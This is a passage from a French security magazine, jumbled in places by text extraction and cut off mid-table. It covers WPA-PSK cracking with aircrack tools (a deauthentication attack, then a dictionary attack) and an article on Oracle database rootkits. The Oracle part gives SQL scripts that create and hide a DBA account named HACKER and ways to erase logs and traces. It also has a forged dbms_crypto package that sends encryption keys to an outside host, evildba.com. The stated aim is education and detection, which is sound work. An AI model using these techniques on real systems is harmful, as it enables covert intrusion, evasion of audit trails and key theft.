déjà mentionné précédemment, la PSK est une alternative à la génération de la PMK par des échanges 802.1X basés sur un serveur d'authentification. La PSK est une chaîne de caractères de 256 bits ou une phrase secrète comprise entre 8 et 63 caractères de laquelle on extrait la chaîne de caractères par un algorithme connu : PSK = PMK = PBKDF2 (phrase secrète, SSID, longueur du SSID, 4096, 256) où PBKDF2 est une méthode issue de PKCS#5, 4096 est le nombre de hachage successifs et 256 la taille de la sortie. La PTK est dérivée de la PMK en utilisant le 4-Way Handshake et toute les informations nécessaires à son calcul sont transmises en clair. La force de la PTK repose uniquement sur la valeur de la PMK, qui dans le cas de la PSK repose www.hakin9.org sur la force de la phrase secrète l'ayant générée. Comme souligné par Robert Moskowitz, le second message du 4-Way Handshake peut être sujet à des attaques par dictionnaire et force brute hors ligne. L'utilitaire cowpatty a été créé pour exploiter cette faiblesse et son code source fut repris et amélioré par Christophe Devine dans Aircrack afin de réaliser des attaques par force brute ou dictionnaire sur la PSK du WPA. L'architecture du protocole (4096 hachage pour chaque tentative de phrase secrète) implique que les attaques de type brute force soient très lentes (quelques centaines de phrases secrètes par seconde sur le dernier modèle de processeur). La PMK ne peut pas être pré-calculée (et mise dans des tables) car la phrase secrète dispose d'une graîne basé sur l'ESSID. Une phrase secrète n'apparaissant dans aucun dictionnaire (et de taille supérieur à 20 caractères) doit être choisie pour se protéger contre cette faiblesse. Pour réaliser cette attaque, un attaquant doit capturer les messages du 4-Way Handshake en scrutant passivement les trames du réseau sans fil ou en utilisant l'attaque par dé-authentification (décrite précédemment) pour accélérer le processus. En fait, seul les deux premiers messages sont requis pour tester les choix de PSK. On se souvient que la PTK = PRF-X (PMK, hakin9 Nº 1/2006 23 Dossier client identifié par son adresse MAC 00:0C:F1:19:77:5C est associé et authentifié sur le réseau sans fil (indiquant qu'il a achevé correctement le 4-Way Handshake). Une fois le réseau cible de l'attaque repéré, la capture doit être réalisée sur le canal adéquat pour éviter de perdre des paquets lors du passage sur les autres canaux. Cette étape fournit une sortie similaire à l'étape précédente : # airodump ath0 wpa-psk 1 Pour l'exemple pratique, cela commence exactement de la même façon que pour le cassage du WEP : le mode moniteur doit être activé sur la carte sans fil : Les clients légitimes peuvent ensuite être dé-authentifiés, les forçant à réaliser une nouvelle authentification permettant ainsi à l'attaquant de capturer les messages du 4-Way Handshake. Aireplay est utilisé pour réaliser cette attaque, il va dé-authentifier le client sélectionné du BSSID spécifié en lui envoyant une fausse requête de dé-authentification : # airmon.sh start ath0 # aireplay -0 1 -a <BSSID> Figure 15. WPA-PSK faible découverte avec Aircrack Pairwise key expansion, Min(AP_ Mac, STA_Mac) || Max(AP_Mac, STA_Mac) || Min(ANonce, SNonce) || Max(ANonce, Snonce)) où la PMK est égale à la PSK dans notre cas. Après la transmission du second message, l'attaquant connait ANonce (grâce au 1er message) et SNonce (grâce au 2ème message) et peut commencer à choisir une PSK pour calculer la PTK et dériver les clés temporelles. Si la PSK est correctement choisie, le MIC du second message peut être obtenu avec la KCK correspondante, sinon un nouveau choix doit être effectué. L'étape suivante consiste a découvrir les réseaux et les clients sans fils environnants (voir le Listing 7). Le résultat peut être interprété de la façon suivante : un point d'accès avec le BSSID 00:13:10:1F:9A:72 utilise le protocole WPA sur le canal 1 avec le SSID hakin9demo et un -c <client_mac> ath0 L'étape finale consiste à lancer l'attaque par dictionnaire en utilisant Aircrack (voir le Listing 8). La Figure 15 illustre le résultat de l'attaque. L'autre faille principale du WPA est un possible déni de service durant le 4-Way Handshake. Changhua He Sur Internet • • • • • • • 24 http://standards.ieee.org/getieee802/download/802.11i2004.pdf – Norme IEEE 802.11i, http://www.awprofessional.com/title/0321136209 – Real 802.11 Security Wi-Fi Protected Access and 802.11i (John Edney, William A. Arbaugh) – Addison Wesley – ISBN : 0-321-13620-9, http://www.cs.umd.edu/~waa/attack/v3dcmnt.htm – An inductive chosen plaintext attack against WEP/WEP2 (Arbaugh), http://www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf – Weaknesses in the Key Scheduling Algorithm of RC4 (Fluhrer, Mantin, Shamir), ht tp: / / w w w.dac hb 0 den.c om / pr ojec ts / bsd - air tools/ wepexp.txt – optimisation d'h1kari, http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf – Intercepting Mobile Communications : The Insecurity of 802.11 (Borisov, Goldberg, Wagner), http://airsnort.shmoo.com/ – AirSnort, hakin9 Nº 1/2006 • • • • • • • • • • http://www.cr0.net:8040/code/network/aircrack/ – Aircrack (Devine), http://weplab.sourceforge.net/ – Weplab (Sanchez), http://www.wifinetnews.com/archives/002452.html – WPA PSK weakness (Moskowitz), http://new.remote-exploit.org /images /5/5a /Cowpatty2.0.tar.gz – Outil de cassage de clé WPA-PSK Cowpatty, http://byte.csc.lsu.edu/~durresi/7502/reading/p43-he.pdf – Analysis of the 802.11i 4-Way Handshake (He, Mitchell), http://www.cs.umd.edu/%7ewaa/1x.pdf – An initial security analysis of the IEEE 802.1X standard (Arbaugh, Mishra), http://support.microsoft.com/?kbid=893357 – Mise à jour pour le WPA2 pour Microsoft Windows XP SP2, http://hostap.epitest.fi/wpa_supplicant/ – wpa_supplicant, http://www.securityfocus.com/infocus/1814 – WEP: Dead Again, Part 1, http://www.securityfocus.com/infocus/1824 – WEP: Dead Again, Part 2. www.hakin9.org Sécurité WEP, WPA et WPA2 Listing 9. Exemple de fichier de configuration wpa_supplicant pour un réseau WPA2 ap_scan=1 # Scan des fréquences radio et sélection # du point d'accès approprié network={ # Premier réseau sans fil ssid="some_ssid" # SSID du réseau scan_ssid=1 # Forcer l'envoi de Probe Request # pour la découverte de SSID cachés proto=RSN # RSN pour WPA2/IEEE 802.11i key_mgmt=WPA-PSK # Authentification par clé pré-partagée (Pre-Shared Key) pairwise=CCMP # Protocol CCMP (chiffrement AES) psk=1232813c587da145ce647fd43e5908abb45as4a1258fd5e410385ab4e5f435ac } Figure 16. Support du WPA2 dans Windows XP SP2 et John C. Mitchell identifièrent que le premier message du 4-Way Handshake n'était pas authentifié et que chaque client devait stocker chaque 1er message jusqu'à réception d'un troisième message (signé), laissant alors le client potentiellement vulnérable à une saturation de mémoire. En usurpant le premier message envoyé par le point d'accès, un attaquant peut réaliser un déni de service sur le client si plusieurs sessions simultanées peuvent coexister simultanément au niveau du client. L'algorithme Michael utilisé pour calculé le MIC a aussi des faiblesses résultant de son design (voulues par le groupe de travail 802.11i). La sécurité de Michael repose sur le fait qu'il est chiffré au sein du paquet. Les fonctions cryptographiques pour calculer des MIC sont habituellement résistante au attaques en clair connu (où l'attaquant dispose du message en clair et du MIC), mais Michael s'avère vulnérable a ce type d'attaque car il est inversible. En connaissant un message et sa valeur MIC associée, il est possible de découvrir la clé secrète servant à calculer le MIC, le secret du MIC est donc critique. La dernière vulnérabilité connue est une attaque théorique possible sur les Temporal Key Hash du WPA en réduisant la complexité de l'attaque (de ∂128 à ∂105) sous certaines conditions (connaissance de certaines clés RC4). Le WPA/WPA2 est aussi sujet a des vulnérabilités affectant d'autre méchanismes standard au sein de la norme 802.11i comme les attaques par usurpation des messages 802.1X (EAPoL Logoff, EAPoL Start, EAP Failure etc.) décrites par William A. Arbaugh et Arunesh Mishra une nouvelle fois dûes au manque d'authentification. Enfin il est important de noter que l'utilisation des protocoles WPA/WPA2 n'empêchera pas des attaques sur les couches basses tels que le brouillage radio, les dénis de service par violation de la norme 802.11, les dé-authentifications, les dé-associations, etc. Implémentation de WPA/WPA2 dans les systèmes d'exploitation Dans Windows, le support WPA2 n'est pas inclu de base. Une mise À propos de l'auteur Guillaume Lehembre est un consultant sécurité français travaillant pour le cabinet HSC (Hervé Schauer Consultants – http://www.hsc.fr) depuis 2004. Il a travaillé sur différents audits, études et tests d'intrusion et a acquis une expérience certaine dans la sécurité des réseaux sans fils. Il a publié des articles et réalisé des interventions publiques sur ce sujet. Guillaume peut être contacté à l'adresse suivante : Guillaume. [email protected]. à jour de Windows XP SP2 (KB893357) est sortie le 29 avril 2005 ajoutant le support de WPA2 et améliorant la détection des réseaux sans fil (voir la Figure 16). Les autres versions de Windows doivent utiliser un client (supplicant) externe (commerciaux ou open source, comme wpa_supplicant – la version Windows étant expérimentale). Sous Linux et les différents types de BSD, wpa_supplicant implémentait déjà le support WPA2 dès la sortie de la norme finale 802.11i. Il supporte un grand nombre de méthodes EAP et de fonctionnalités de gestion de clés pour WPA, WPA2 et WEP. Plusieurs réseaux peuvent être déclarés au sein d'un même fichier de configuration disposant de chiffrement, gestion des clés, méthodes EAP variées. La Listing 9 présente un fichier basique de configuration pour un réseau basé sur WPA2. L'emplacement par défaut pour le fichier de configuration de wpa_supplicant est /etc/wpa_supplicant.conf, ce fichier doit être uniquement accessible à l'utilisateur root. Le démon wpa_supplicant doit être lancé avec les privilèges root en mode débogage dans un premier temps (option -dd), avec le support du bon pilote (dans notre exemple cela correspond à l'option -D madwifi pour supporter la puce Atheros), le nom de l'interface (avec l'option -i, dans notre cas ath0) et le chemin du fichier de configuration (option -c) : # wpa_supplicant -D madWi-Fi www.hakin9.org hakin9 Nº 1/2006 25 Dossier -dd -c /etc/wpa_supplicant.conf -i ath0 Toutes les étapes théoriques décrites précédements sont visibles dans le mode de debogage (association à l'AP, authentification 802.1X, 4-Way Handshake, etc.). Quand tout fonctionne correctement, wpa_supplicant peut être lancé en mode démon (en remplaçant l'option -dd par -B). Sur Macintosh, le WPA2 est supporté avec la mise à jour 4.2 de l'utilitaire Apple AirPort : AirPort Ex- treme-enabled Macintoshes, AirPort Extreme Base Station et le AirPort Express. Conclusion Il est clair que le protocole de chiffrement WEP ne garantie pas une sécurité suffisante pour les réseaux sans fil Wi-Fi, il ne peut qu'être utilisé en complémentarité d'une solution de chiffrement de plus haut niveau (comme les technologies VPN). Le WPA représente une solution sécurisée pour les équipements supportant une mise à jour mais ne pouvant passer au WPA2 mais ce dernier représente une solution plus pérenne et sera à l'avenir le standard en terme de sécurité des réseaux sans fils Wi-Fi. N'oubliez pas de positionner vos réseaux sans fils dans une zone filtrée séparée et de garder toujours une connexion filaire à portée pour les réseaux critiques – le brouillage radio et les attaques de bas niveau (violation du standard 802.11, fausse dé-association, etc.) étant toujours dévastatrices. l Glossaire • • • • • • • • • • • • • • • • • 26 AP – Access Point, station de base pour un réseau Wi-Fi (appelé aussi point d'accès ou borne) interconnectant les clients sans fil entre eux ainsi qu'au réseau filaire. ARP – Address Resolution Protocol, protocole faisant la correspondance entre adresse IP et adresse MAC. BSSID – Basic Service Set Identifier, adresse MAC du point d'accès. CCMP – Counter-Mode/Cipher Block Chaining Message Authentication Code Protocol, protocole de chiffrement utilisé dans WPA2 basé sur l'algorithme de chiffrement par bloc AES. CRC – Cyclic Redundancy Check, algorithme de pseudointégrité utilisé par le protocole WEP (comporte de nombreuses faiblesses). EAP – Extensible Authentication Protocol, cadre de travail pour des méthodes d'authentification variées. EAPOL – EAP Over LAN, protocole utilisé dans les réseaux sans fil pour le transport d'EAP. GEK – Group Encryption Key, clé de chiffrement pour le trafic en diffusion (aussi utilisée pour l'intégrité des données dans CCMP). GIK – Group Integrity Key, clé d'intégrité pour le trafic en diffusion (utilisé dans TKIP). GMK – Group Master Key, clé maîtresse de la hiérarchie de groupe. GTK – Group Transient Key, clé dérivée de la GMK. ICV – Integrity Check Value, champ de donnée concaténé aux données en clair pour garantir l'intégrité (basé sur l'algorithme faible CRC32). IV – Initialization Vector, donnée combinée à la clé de chiffrement afin de produire une suite chiffrante unique. KCK – Key Confirmation Key, clé d'intégrité utilisée pour protéger les échanges de clé. KEK – Key Encryption Key, clé de confidentialité utilisée pour protéger les échanges de clé. MIC – Message Integrity Code, champ de donnée ajouté aux données en clair pour garantir l'intégrité (basé sur l'algorithme Michael). MK – Master Key, clé maîtresse connue du client 802.1x et du serveur d'authentification à l'issu du processus d'authentification 802.1x. hakin9 Nº 1/2006 • • • • • • • • • • • • • • • • • • • MPDU – Mac Protocol Data Unit, paquet de donnée avant fragmentation. MSDU – Mac Service Data Unit, paquet de donnée après fragmentation. PAE – Port Access Entity, port logique 802.1x. PMK – Pairwise Master Key, clé maîtresse de la hiérarchie de clé pairwise. PSK – Pre-Shared Key, clé dérivée d'un mot de passe, remplaçant la PMK normalement issue d'un vrai serveur d'authentification. PTK – Pairwise Transient Key, clé dérivée de la PMK. RSN – Robust Security Network, méchanismes de sécurité 802.11i (TKIP, CCMP etc.). RSNA – Robust Security Network Association, association de sécurité utilisée dans RSN. RSN IE – Robust Security Network Information Element, champ contenant les informations RSN inclues dans les trames Probe Response et Association Request. SSID – Service Set Identifier, identifiant du réseau sans fil (identique à l'ESSID). STA – Station, un client sans fil. TK – Temporary Key, clé pour le chiffrement des données à destination d'une machine (unicast) (utilisé pour le calcul des données d'intégrité dans le protocole CCMP). TKIP – Temporal Key Integrity Protocol, protocole de chiffrement utilisé dans le WPA, basé sur l'algorithme de chiffement RC4 (comme le WEP). TMK – Temporary MIC Key, clé pour l'authenticité des données du trafic à destination d'une machine (unicast) (utilisé dans TKIP). TSC – TKIP Sequence Counter, compteur anti-rejeu utilisé dans TKIP (basé sur l'IV étendu). TSN – Transitional Security Network, méchanismes de sécurité pre-802.11i (WEP etc.). WEP – Wired Equivalent Privacy, protocole de chiffrement par défaut des réseaux sans fil de type 802.11. WPA – Wireless Protected Access, implémentation d'une pré-version de la norme 802.11i basée sur le protocole de chiffrement TKIP. WRAP – Wireless Robust Authenticated Protocol, ancien protocole de chiffrement utilisé dans le WPA2. www.hakin9.org Rootkits sous Oracle Focus Alexander Kornbrust Degré de difficulté Les rootkits dans les systèmes d'exploitation ne sont pas nouveaux. Les intrus s'en servent depuis des années pour cacher leurs traces. Rares sont ceux, qui savent que les rootkits sont également implémentés dans les bases de données, contenant souvent des données critiques des entreprises. Étudiez les rootkits dans les bases de données Oracle et apprenez à les éviter. O racle est un leader du marché dans le domaine des bases de données relationnelles. Les bases de données Oracle sont employées pratiquement dans toutes grandes entreprises. Les données critiques pour l'entreprise ou les données importantes sont souvent sauvegardées dans ces bases de données. Rien d'étonnant qu'Oracle deviennent de plus en plus régulièrement la cible des attaques. Les rootkits sous la base de données Oracle sont relativement récents. Ils sont installés après une entrée réussie dans une base de données Oracle pour, d'un côté, cacher les traces de l'entrée et de l'autre côté, pour cacher la présence de l'intrus dans la base. Jetez donc un coup d'œil sur les concepts de rootkits sous Oracle, les possibilités différentes d'implémentation ainsi que les contre-mesures. Rootkits sous Oracle – introduction Les bases de données d'Oracle et les systèmes d'exploitation sont assez similaires en ce qui concerne leur architecture. Les bases de données et les systèmes d'exploitation ont tous les deux des utilisateurs, des processus, des tâches, des exécutables et des liens symboliques. Le Tableau 1 28 hakin9 Nº 1/2006 présente un exemple d'un mappage entre les commandes du système d'exploitation *NIX et des commandes d’Oracle. Un intrus peut bénéficier de cette ressemblance entre les commandes pour migrer le concept de rootkits mais aussi d'autres logiciels malveillants, comme les virus, du monde de systèmes d'exploitation, vers celui des bases de données d’Oracle. L'astuce commune des rootkits des systèmes d'exploitation (première génération) consistait à créer des utilisateurs cachés, invisibles pour l'administrateur. Pour ce faire, les commandes *NIX, comme ps, who et top ont été remplacées par des versions Cet article explique... • • • les bases des rootkits sous Oracle, des méthodes différentes pour implémenter un rootkit, comment trouver des rootkits sous Oracle. Ce qu'il faut savoir... • www.hakin9.org Vous devez avoir des bases de l'architecture de bases de données SQL et Oracle. Rootkits sous Oracle Listing 1. Créer un utilisateur de base de données -- créer un utilisateur -- et accorder -- une permission --de l'administrateur SQL> CREATE USER HACKER SQL> IDENTIFIED BY HACKER; SQL> GRANT DBA TO HACKER; -- Afficher des utilisateurs SQL> SELECT USERNAME SQL> FROM DBA_USERS; USERNAME ----------------SYS SYSTEM DBSNMP SYSMAN MGMT_VIEW HACKER … infectées par des chevaux de Troie qui affichent tout à l'exception du compte de l'utilisateur créé par l'intrus. Cette approche peut également être introduite dans une base de données d’Oracle. Il faut seulement savoir comment Oracle représente, stocke et emploie les utilisateurs de bases de données. Les utilisateurs Oracle sont stockés dans la table de la base de données SYS.USER$ avec les rôles de la base de données. Les utilisateurs disposent du drapeau TYPE#=1 et les rôles disposent du drapeau TYPE#=0. Afin de faciliter l'accès, la retro-compatibilité et la compatibilité ascendante, Oracle fournit deux vues appelées respectivement dba _ users et all _ users via un synonyme public (la structure de la table change d'une version à l'autre). La plupart des bases de données et d'outils se servent de ces vues pour accéder à la table SYS.USER$. Si ces vues sont à présent modifiées de sorte qu'un utilisateur spécial, p. ex. HACKER , ne soit plus visible, un utilisateur caché est donc crée (dans la plupart des cas). Dans un premier temps, etudiez le Listing 1. Vous allez créer un utilisateur et vérifier s'il est visible. Maintenant, modifiez la vue DBA _ USERS et une ligne supplémentaire de cette vue : AND U.NAME != 'HACKER' Tableau 1. Exemple de mappage entre les commandes et les objets d’Oracle et de système d'exploitation Commande/objet *NIX Commande/objet Oracle ps SELECT * FROM V$PROCESS kill <processnumner> ALTER SYSTEM KILL SESSION '12,55' Executables Vues, paquets, fonctions et procédures Execute SELECT * FROM MY _ VIEW cd ALTER SESSION SET CURRENT _ SCHEMA=USER01 EXEC PROCEDURE Figure 1. Modification de la vue DBA_USERS à l'aide d'un outil DBA (Quest TOAD) Vous pouvez effectuer cette modification au moyen d'un outil GUI (p. ex. Quest TOAD, voir la Figure 1) ou d'une déclaration SQL (CREATE VIEW DBA _ USERS AS ...). Il ne faut pas oublier que les modifications des vues appartenant à SYS nécessitent le rôle SYSDBA . Une requête redémarrée dans la vue DBA _ USERS affiche à présent tous les utilisateurs à l'exception de l'utilisateur HACKER nouvellement créé. www.hakin9.org Certains outils ou bases de données se servent des vues ALL _ USERS au lieu de DBA _ USERS pour afficher tous les utilisateurs. Pour cette raison, il est nécessaire de modifier également cette vue. Une fois les modifications des deux vues effectuées, le nouvel utilisateur disparaît de tous les programmes utilisant les vues en tant que couche d'accès. Un intrus doué choisirait des noms d'utilisateurs moins évidents hakin9 Nº 1/2006 29 Focus (p. ex. MTSYS) et une condition WHERE moins évidente (p. ex. AND U.USER# <> 17 où 17 est le numéro de l'utilisateur nouvellement créé). Tous les programmes testés par l'auteur jusqu'à présent sont concernés, p. ex. Oracle Enterprise Manager (voir les Figures 2 et 3), Oracle Grid Control (voir les Figures 4 et 5), Quest SQL Navigator, Quest TOAD, Embacadero DBArtisan, etc. Les développeurs des outils d'administration de bases de données ne devraient jamais dépendre des vues qui peuvent être modifiées. À la place, ils devraient toujours accéder aux tables de bases de données, comme SYS.USER$. Bases de rootkit d'Oracle Figure 2. Affichage de tous les utilisateurs en Oracle Enterprise Manager Comme il a été déjà décrit dans l'introduction, il est possible de créer un rootkit en modifiant les vues. Le chapitre suivant présentera un aperçu de différentes possibilités permettant d'implémenter des rootkits. Modification de l'objet appelé Comme déjà mentionné, il est assez facile de modifier les vues des bases de données. Vous pourriez vous en servir pour effacer le contenu sélectionné de la vue. Un exemple sur le Listing 2 utilise le pacquets dbms_metadata (depuis Oracle 9i). Le pacquets crée le code DDL depuis un objet de la base de données et remplace la chaîne WHERE par WHERE u.name != 'HACKER' via la commande replace. Figure 4. Afficher tous les utilisateurs en Oracle Grid Control Modifier le chemin d'exécution Figure 3. Afficher tous les utilisateurs en Oracle Enterprise Manager après les modifications de la vue DBA_USERS, à l'exception de l'utilisateur HACKER 30 hakin9 Nº 1/2006 Il est également possible d'implémenter un rootkit en modifiant le chemin d'exécution. Dans le cas des rootkits de bases de données, on modifie le chemin aux commandes *NIX, comme ps, who, top. La version infecté d'un cheval de Troie sera alors exécutée à la place de la version originale. Cette approche est avantageuse pour l'intrus car le programme original et sa somme de contrôle ne sont pas falsifiés. Il n'y a aucun chemin dans le monde de base de données d’Oracle. Pour cette raison, il est nécessaire d'adopter le concept et www.hakin9.org Figure 5. Afficher tous les utilisateurs en Oracle Grid Control après les modifications de la vue DBA_USERS, à l'exception de l'utilisateur HACKER Rootkits sous Oracle se basant sur la structure du chemin d'exécution Oracle : Évolution de rootkit d'Oracle Des plusieurs étapes dans l'évolution des rootkits d'Oracle peuvent être éxpectés, comme dans le cas des rootkits de systèmes d'exploitation. Actuellement, seule la première génération des rootkits d'Oracle existe, mais ce n'est qu'une question de temps avant que les rootkits d'Oracle évoluent. Première génération de rootkits d'Oracle • • Les rootkits de la première génération sont implémentés en modifiant ou en créant des objets de dictionnaire de données ou en modifiant le chemin d'exécution. C'est la plus simple des façons pour créer un rootkit. Des connaissances spéciales ne sont pas nécessaires. Afin de détecter ce type de rootkits, il suffit de comparer les sommes de contrôle des objets avec une ligne de base externe. Deuxième génération de rootkits d'Oracle Les rootkits de la deuxième génération travaillent sans aucune modification du chemin d'exécution ou changement des objets de dictionnaire de données. Les implémentations possibles se servent des caractéristiques d'Oracle, telles que PL/SQL-Native Compilation ou Virtual Private Database (VPD). Il est plus difficile de détecter ces types de rootkits car il est nécessaire de disposer p. ex. d'un compte SYS, des privilèges spéciaux (EXEMPT ACCESS POLICY) ou des sommes de contrôle des fichiers externes. Troisième génération de rootkits d'Oracle Cette génération travaille de manière similaire que les rootkits du noyau des systèmes d'exploitation et il est très difficile de la détecter. Les objets sont modifiés directement dans le SGA. Depuis Oracle 10g Release 2, Oracle fournit une API permettant d'accéder directement au SGA. L'accès direct au SGA non supporté est possible même dans les anciennes versions de bases de données. Le niveau du savoir-faire concernant la création et la détection des rootkits sera plus élevé par rapport à la première génération. d'ajuster l'implémentation. Il est utile de regarder comment Oracle procède pour effectuer une déclaration SQL, comme : SELECT * FROM DBA_USERS Dans cette requête, Oracle vérifie dans un premier temps si un objet lo- cal (table ou vue) appelé DBA _ USERS existe. Si c'est le cas, cet objet sera utilisé dans la requête. Sinon, Oracle cherche un synonyme privé portant ce nom. Si un synonyme privé existe, Oracle l'utilisera. Sinon, Oracle vérifie s'il y a un synonyme public. Il existe des possibilités différentes pour implémenter un rootkit en Listing 2. Simple script SQL qui crée et cache un utilisateur HACKER set linesize 2000 set long 90000 EXECUTE DBMS_METADATA.SET_TRANSFORM_PARAM § (DBMS_METADATA.SESSION_TRANSFORM,'STORAGE',false); spool rk_source.sql select replace(cast(dbms_metadata.get_ddl('VIEW','ALL_USERS') § as VARCHAR2(4000)),'where','where u.name !=''HACKER'' and ') § from dual union select '/' from dual; select replace(cast(dbms_metadata.get_ddl('VIEW','DBA_USERS') § as VARCHAR2(4000)),'where','where u.name !=''HACKER'' and ') § from dual union select '/' from dual; spool off create user hacker identified by hackerpw; grant dba to hacker; @rk_source.sql www.hakin9.org • • créer un nouvel objet local portant le même nom dans le schéma d'utilisateur (voir le Listing 3), créer un nouvel objet qui se réfère à l'objet original (vue ou table de la base) ou un nouvel objet contenant une copie des données de l'objet original. La table DBA _ USERS pourrait être liée au déclencheur pour SYS.USER$ (voir le Listing 4), créer un synonyme privé et un nouvel objet local (voir le Listing 5), modifier un synonyme public et créer un nouvel objet local (voir le Listing 6). L'inconvénient de trois premières méthodes est que seul le propriétaire du schéma est affecté par ces modifications. Un intrus doit créer des objets différents pour des comptes d'administrateur différents. La plupart des intrus préfèrent la quatrième méthode car la vue originale n'est pas modifiée et la méthode est valable pour tous les comptes à l'exception de SYS. Déclencheurs potentiels pour les modifications Il existe plus de 2000 vues de système appartenant au propriétaire SYS (vues Oracle 10.1.0.4: 2643). Toute vue n'est pas une bonne cible pour l'intrus. Certaines sont plus prometteuses que les autres. Les vues de système présentées dans le Tableau 2 sont particulièrement attrayantes pour les intrus et devraient être vérifiées de façon régulière au moyen de DBA. Pseudo-code/concept d'un rootkit d'Oracle Le chapitre suivant décrit les composants typiques de la première génération de rootkit d'Oracle. Les nouveaux utilisateurs cachés sont souvent créés en premier temps dans cette génération de rootkits. Ensuite, toutes les traces sont supprimées dans les fichiers divers de journal de traces et les archives. Les hakin9 Nº 1/2006 31 Focus Listing 3. Créer une nouvelle vue dans le schéma de l'utilisateur (p. ex. SYSTEM) (le rôle SYSDBA est nécessaire) CREATE VIEW DBA_USERS AS SELECT * FROM SYS.DBA_USERS WHERE USERNAME != 'HACKER'; • Listing 4. Créer une nouvelle table DBA_USERS dans le schéma de l'utilisateur (p. ex. SYSTEM) CREATE TABLE DBA_USERS AS SELECT * FROM SYS.DBA_USERS WHERE USERNAME != 'HACKER'; CREATE TABLE DBA_MYUSERS AS SELECT * FROM SYS.DBA_USERS WHERE USERNAME != 'HACKER'; CREATE SYNONYM DBA_USERS FOR HACKER.DBA_MYUSERS; • • • créer et cacher des utilisateurs invisibles, cacher des processus actifs, nettoyer le journal listener d’Oracle, nettoyer le SGA d'Oracle, nettoyer RedoLog d'Oracle, intercepter les appels du package d'Oracle, installer un rénifleur de mots de passe d'Oracle. Créer et cacher des utilisateurs Comme vous l'avez déjà vu, il existe des possibilités différentes de cacher les utilisateurs. Reportez-vous aux exemples susmentionnés. Cacher des processus actifs Listing 6. Créer une nouvelle table DBA_MYUSERS dans le schéma de l'utilisateur (p. ex. SYSTEM) CREATE TABLE DBA_MYUSERS AS SELECT * FROM SYS.DBA_USERS WHERE USERNAME != 'HACKER'; CREATE OR REPLACE SYNONYM DBA_USERS FOR HACKER.DBA_MYUSERS; Il est possible de cacher les processus actifs en modifiant les vues V$SESSION, GV _ $SESSION, FLOW _ SESSIONS, V_ $PROCESS. Les mêmes techniques, autrement dit, les modifications de vues et le changement de chemin d'exécution sont aussi possibles. Nettoyer le journal de traces d’Oracle Tableau 2. Déclencheurs potentiels pour les modifications Vue de système Description DBA _ USERS Affiche les utilisateurs de la base de données ALL _ USERS Affiche les utilisateurs de la base de données DBA _ JOBS Affiche toutes les tâches de la base de données V$SESSION Affiche tous les processus en cours de fonctionnement V _ $PROCESS Affiche tous les processus en cours de fonctionnement DBA _ DIRECTORIES Affiche tous les répertoires Oracle ALL _ DIRECTORIES Affiche tous les répertoires Oracle DBA _ AUDIT _ TRAIL Affiche toutes les informations d'audit DBA _ EXTERNAL _ TABLES Affiche toutes les tables externes ALL _ EXTERNAL _ TABLES Affiche toutes les tables externes hakin9 Nº 1/2006 • • • Listing 5. Créer une nouvelle table DBA_MYUSERS dans le schéma de l'utilisateur (p. ex. SYSTEM) 32 rootkits typiques réniflent également les mots de passe dans le système. On va décrire brièvement les composants suivants : www.hakin9.org Pendant le processus de connexion dans la base de données, tout est connecté au listener.log de TNS-Listeners (si la connexion est activée). L'approche typique des intrus consiste à supprimer ces traces. Oracle propose des possibilités différentes de le faire. La manière la plus facile consiste à utiliser le paquet utl_file. Ce paquet permet de lire (UTL _ FILE.GET _ LINE), d'écrire (UTL _ FILE.PUT _ LINE) ou de supprimer (UTL _ FILE.FREMOVE) les fichiers. Le fichier de journal de traces n'est pas fermé par le listener TNS ; pour cette raison, il est possible de modifier le contenu au démarrage. Nettoyer le SGA d'Oracle Les traces d'une attaque sont également laissées dans la mémoire de la base de données (SGA, System Global Area). Toutes les déclarations SQL Rootkits sous Oracle émises par tous les utilisateurs peuvent être demandées en sélectionnant la vue V _ $SQLAREA . Afin de supprimer ces traces du SGA, il suffit d'effacer la zone partagée (en anglais shared pool) via la commande suivante : ALTER SYSTEM FLUSH SHARED_POOL; N'oubliez pas que la suppression de la zone partagée influence négativement la performance de la base de données et les utilisateurs se plaignent parfois de ce problème. Nettoyer les fichiers Redo-Log d’Oracle Figure 6. Chemin d'accès de Oracle Toute transaction modifiant la base de données est stockée dans le fichier Redo-Log ainsi que dans le journal d'archives, si la base de données travaille en mode d'archives. Généralement, un intrus dissimule ces traces aussi. Pour ce faire, la commande suivante force la base de données de passer au Redo-Log. ALTER SYSTEM SWITCH LOGFILE; Une fois le rootkit installé, le Redo-Log est activé jusqu'à ce que les fichiers Redo-Log soient remplacés dans tous les groupes Redo-Log. Si la base de données fonctionne en mode d'archives de traces, il est nécessaire de supprimer le dernier fichier d'archives à l'aide du paquet utl_file.fremove. Figure 7. Appel dbms_crypto depuis une application Intercepter les appels de paquet d'Oracle Au sein de la base de données Oracle, il est possible d'intercepter tous les appels de paquet (Package Interception), de modifier ou de tracer les paramètres et d'appeler le paquet original. Cette démarche pourrait être utilisée pour falsifier les sommes de contrôle (p. ex. MD5) ou pour intercepter les clés de chiffrement ou les mots de passe. Les privilèges DBA sont souvent exigés car le schéma de l'application est modifié. La Figure 7 illustre comment on appelle une fonction encrypt depuis une application. La fonction encrypt passe la valeur non chiffrée et la clé de chiffrement. D'après la résolution Figure 8. Appel dbms_crypto depuis une application, toutes les clés sont interceptées www.hakin9.org hakin9 Nº 1/2006 33 Focus Listing 7. Interception des spécifications des packages dbms_crypto qui envoient toutes les clés de chiffrement au serveur Web externe CREATE OR REPLACE PACKAGE DBMS_CRYPTO AS -- Serveur Web Server destiné à l'enregistrement de frappes KEYWEBSERVER CONSTANT VARCHAR2(40) :='http://www.evildba.com/'; KEYRC VARCHAR2(32767); -- Fonctions de hachage HASH_MD4 CONSTANT PLS_INTEGER := 1; HASH_MD5 CONSTANT PLS_INTEGER := 2; HASH_SH1 CONSTANT PLS_INTEGER := 3; -- Fonctions MAC HMAC_MD5 CONSTANT PLS_INTEGER := 1; HMAC_SH1 CONSTANT PLS_INTEGER := 2; (...) Listing 8. Interception du corps de package dbms_crypto qui envoie toutes les clés de chiffrement au serveur Web externe CREATE OR REPLACE PACKAGE BODY DBMS_CRYPTO AS FUNCTION Encrypt (src IN RAW, typ IN PLS_INTEGER, key IN RAW, iv IN RAW DEFAULT NULL) RETURN RAW AS BEGIN keyrc:=utl_http.request § (KEYWEBSERVER||'user='||user||'/'||'/key=' § ||UTL_RAW.cast_to_varchar2(key)||'/iv=' § ||UTL_RAW.cast_to_varchar2(iv)||'/typ='||typ); RETURN SYS.dbms_crypto.encrypt(src,typ,key,iv); END; (...) Tableau 3. Cibles possibles d'interception de paquets, dépendant de la version et des composants installés 34 Nom du Paquet Description dbms_crypto Il intercepte les clés de 